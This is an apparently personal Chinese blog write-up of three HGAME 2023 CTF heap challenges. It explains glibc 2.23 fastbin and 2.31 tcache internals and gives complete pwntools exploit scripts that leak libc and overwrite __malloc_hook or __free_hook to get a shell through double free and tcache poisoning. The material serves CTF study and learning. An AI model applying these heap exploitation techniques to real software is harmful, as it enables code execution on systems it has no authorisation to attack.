Heap 0x07--HGAME 2023 week2--heap
一个拖了很久的复现,这个比赛在23年初,但是年初的时候水平实在是不够,直接摸掉了
后续复现的时候也只有四月多复现到hgame week2的那个非栈上fmtstr
拖着拖着就把剩的三个堆题拖到现在了,开始复现,同时也算是对堆的一种学习吧
0x01 fast_note
先从2.23的堆入手,进去之后一眼uaf
复现主要还是有点跟wp的成分,跟的时候看到一个什么字节错位,一个宏:
#define fastbin_index(sz) \
((((unsigned int)(sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
给兄弟看愣了,似乎之前的题没遇到过这玩意啊()
然后上网搜了一下,搜到个还不错的网站:https://b0ldfrev.gitbook.io/note/pwn/fastbin-bi-ji
(意识到一个问题--要开始读读源码了)
https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3368
这个是这一部分的源码,后续应该会来读一下
然后..个人觉得这个题最重要的一点应该是fastbin的一些检查吧,也就是上面说的字节错位的具体实现
我们普遍打堆题的时候会需要一步过程就是打各种hook,例如free,malloc,exit
(博客里有对hook的一个浅显的介绍)
像这个题里面有一个uaf,我们可以利用double free,但是并不能直接分配到malloc hook上(因为过不去检查),故采用字节错位的手法,这个手法主要的点在于:
- malloc hook前面有一些libc的地址
这个图是截在exp的调试过程中,中间的几个a是为了调整字节
- 如果我们可以错开几个字节,那么就可以利用这个7f去构造fake chunk(端序)
这个图上就可以看出,我们通过这种小改一下地址布局的方式,把7af5这个地址直接改成了0x7f
这似乎看起来就很像一个chunk的size位了,根据上面这些我们可以得出:
- 在fastbin中的chunk大小应该是0x70,即我们要申请0x60的chunk即可绕过检查
于是接下来的步骤就似乎很传统了,由于不存在tcache,直接申请一个大于0x80的chunk0,申请一个隔离的chunk1
运用uaf的手法将libc leak出来
add(0,0x90,"otto")
add(1,0x10,"oootto")
free(0)
show(0)
mainarena=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-88
#print(hex(mainarena))
libc_base=mainarena-0x3c4b20
one_gadget=libc_base+0xf1247
system_addr=libc_base+libc.sym["system"]
realloc_addr=libc_base+libc.sym["realloc"]
malloc_hook=libc_base+libc.sym["__malloc_hook"]
print(hex(malloc_hook))
之后是构造double free,
add(2,0x60,"aa")
add(3,0x60,"bb")
free(2)
free(3)
free(2)
接下来的过程就是比较朴实无华的double free利用,申请一次,改其data头部,即改掉chunk2的fd指针
使其指向我们已经构造好的错位fake chunk
后续申请三次,在最后一次申请的时候开始改即可:
add(4,0x60,p64(malloc_hook-0x23))
add(5, 0x60, b"ottootototo")
add(6, 0x60, b"aaaa")
add(7, 0x60, b"aaa" + p64(0) + p64(one_gadget) + p64(realloc_addr + 6))
这里的realloc addr+6是因为one gadget在2.23是需要一些栈环境的,realloc在汇编层面是有几步push的
所以调试几下就能找到合适的栈环境在0x6这个点,如果不明白的话ida打开一下libc一眼懂
Exp
整合一下应该是这样的:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#r=remote("node4.buuoj.cn",27552)
r=process("./vuln")
elf=ELF("./vuln")
libc = ELF("./libc-2.23.so")
def add(index,size,content):
r.sendlineafter(">","1")
r.sendlineafter(b"Index: ",str(index).encode())
r.sendlineafter(b"Size: ",str(size).encode())
r.sendlineafter(b"Content: ",content)
def free(index):
r.sendlineafter(">","2")
r.sendlineafter(b"Index: ",str(index).encode())
def show(index):
r.sendlineafter(">","3")
r.sendlineafter(b"Index: ",str(index))
add(0,0x90,"otto")
add(1,0x10,"oootto")
free(0)
show(0)
mainarena=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-88
#print(hex(mainarena))
libc_base=mainarena-0x3c4b20
one_gadget=libc_base+0xf1247
system_addr=libc_base+libc.sym["system"]
realloc_addr=libc_base+libc.sym["realloc"]
malloc_hook=libc_base+libc.sym["__malloc_hook"]
print(hex(malloc_hook))
add(2,0x60,"aa")
add(3,0x60,"bb")
free(2)
free(3)
free(2)
#gdb.attach(r)
#pause()
add(4,0x60,p64(malloc_hook-0x23))
add(5, 0x60, b"ottootototo")
add(6, 0x60, b"aaaa")
add(7, 0x60, b"aaa" + p64(0) + p64(one_gadget) + p64(realloc_addr + 6))
gdb.attach(r)
pause()
r.interactive()
由于中途调试的关系,这个exp没有写全,但是已经覆盖malloc hook为realloc,又将realloc hook打成了one_gadget
所以再申请时直接打通.
一点点后话
看似简单的一个2.23的堆,却扯出了一个fastbin的特殊利用手段,似乎这么一看的话还是tcache简单,毕竟tcache并没有这种检测,可以直接打hook,不好说.
0x02 editable_note
2.31,开始出现tcache的利用了.
首先要知道tcache是个什么东西,这是一个应用于2.26及其之后的版本的一种bin,有一种fastbin的替代的感觉,用开发者的角度去形容似乎是更方便了,但是代价是丢掉了诸多安全防护,例如最开始的2.27的小版本疑似没有检查double free,例如从其中取出chunk也没有任何检查,这就意味着无需像2.23一样构造字节错位.
都写到这了就再浅浅的写一下tcache的一些构造,首先是两个结构体,我们从小到大,从低到高:
- tcache_entry
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
这个结构体直接关联到chunk,以单向链表的方式链接,大小一致,最多可以连7个chunk,链接位置为data处
- tcache_perthread_struct
贴一个源码在这里,
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
- 属于是刚才那个结构体的上级,这里我们可以得出tcache所能容纳的chunk的size为0x20到0x410,相比于fastbins肯定是一个非常大的范围了,所以说这个东西算是一个缓冲区估计也不为过吧.
wp里面说这个是Tcache poisoning的模板题,这个利用我去查了一下,似乎首先也要是一个uaf,然后感觉跟double free的后续利用非常相似,或者说只要了解机制这个利用就非常浅显易懂了.
Exp
整体是这样的,我觉得学到这的其实对这个利用已经非常熟悉了,所以直接给exp了:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#r=remote("node4.buuoj.cn",27552)
r=process("./vuln")
elf=ELF("./vuln")
libc = ELF("./libc-2.31.so")
def add(index,size):
r.sendlineafter(">","1")
r.sendlineafter(b"Index: ",str(index).encode())
r.sendlineafter(b"Size: ",str(size).encode())
def free(index):
r.sendlineafter(">","2")
r.sendlineafter(b"Index: ",str(index).encode())
def show(index):
r.sendlineafter(">","4")
r.sendlineafter(b"Index: ",str(index))
def edit(index,content):
r.sendlineafter(">","3")
r.sendlineafter(b"Index: ",str(index))
r.sendlineafter(b"Content: ",content)
for i in range(8):
add(i,0x90)
add(8,0x20)
for i in range(8):
free(i)
show(7)
libc_base=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1ecbe0
print("libc_base="+hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
print(hex(free_hook))
system_addr=libc_base+libc.sym["system"]
gdb.attach(r)
pause()
add(9,0x20)
add(10,0x20)
free(8)
free(9)
edit(10,b"/bin/sh\x00")
edit(9,p64(free_hook))
add(11,0x20)
add(12,0x20)
edit(12,p64(system_addr))
#gdb.attach(r)
#pause()
free(10)
r.interactive()
首先用一个超出fastbin范围的size填满tcache,再送入unsorted bin中,利用uaf leak出libc.
这个地方的8号chunk是用来隔离top chunk的,后续在释放的时候也需要用这个chunk8去保证数量一致.
2.31的libc在这里似乎会检查tcache中的数量,如果不释放8,单单释放9去打hook会挂掉,应该是没过数量检查导致的.
图里面可以看得出来似乎真的是这样,这一条的数组下标已经是0了,已经视为没有chunk了.
后记
当时wings说tcache相比于fastbin还更简单,我起初是不怎么信的,后续做完这个👴信了,还真是.
0x03 new_fast_note
基础的tcache double free,明白什么是double free且懂得tcache机制的话就非常好做的一道题.
上一道fast_note是2.23的环境,fastbin中取出chunk需要有像字节错位这种操作,但是2.31有tcache,取出chunk的时候没有做任何检查,所以不需要特殊的构造,只需要狠狠的注入tcache,把它灌满.
Exp
思路更是好懂,ub leak libc,只不过这次要先在tcache中填满7个.
然后填满tcache,再进入fastbin中double free即可(tcache中有对于double free的检查,但是却没有对取出的chunk的检查,这个安全性喔,有技术的)
然后就是正常的流程了,和上面两道题其实大同小异,该说不愧是hgame的初级堆题,对于机制的各种把控我觉得还是不错的.
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#r=remote("node4.buuoj.cn",27552)
r=process("./vuln")
elf=ELF("./vuln")
libc = ELF("./libc-2.31.so")
def add(index,size,content):
r.sendlineafter(">","1")
r.sendlineafter(b"Index: ",str(index).encode())
r.sendlineafter(b"Size: ",str(size).encode())
r.sendlineafter(b"Content: ",content)
def free(index):
r.sendlineafter(">","2")
r.sendlineafter(b"Index: ",str(index).encode())
def show(index):
r.sendlineafter(">","3")
r.sendlineafter(b"Index: ",str(index))
for i in range(8):
add(i,0x90,b"aaa")
add(8,0x10,b"gap")
for i in range(8):
free(i)
show(7)
libc_base=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1ecbe0
print("libc_base="+hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]
free(8)
for i in range(10):
add(i,0x20,b"otto")
for i in range(10):
free(i)
free(8)
for i in range(7):
add(i,0x20,b"/bin/sh\x00")
gdb.attach(r)
pause()
add(7,0x20,p64(free_hook))
add(8,0x20,b"aaa")
add(9,0x20,b"aaa")
add(10,0x20,p64(system_addr))
free(0)
r.interactive()
看上去是个很简单的exp,思路也不难理解,但是实际上调试的时候会遇到一些点.
例如ub当中我们leak libc的那个chunk会在后续过程中被切割启用,导致要多申请一次,
还有在double free了之后,从tcache中将7个chunk拿空后,第8次申请会将整个fastbin的链表拿入tcache,但是这一次又因为double free的缘故,实际上对bin中布局没什么影响,只是这个链表头尾换了一下,我的理解是好像把一个圆环转了180°,不影响后续的利用.
0x04 Conclusion
还是那句话,不愧是hgame,做这三道题给人一种循循善诱的感觉,目的似乎确实在于让人去理解堆的机制.
调这几个题的时候很可能会遇到一些wp里面没有提到过的基础机制,且并没有太摸不到头脑,查查资料/翻个源码即可解决,三个题直接让人对fastbin和tcache以及一些malloc的基本机制有所了解,还是很有效果的,很不错的题.❤️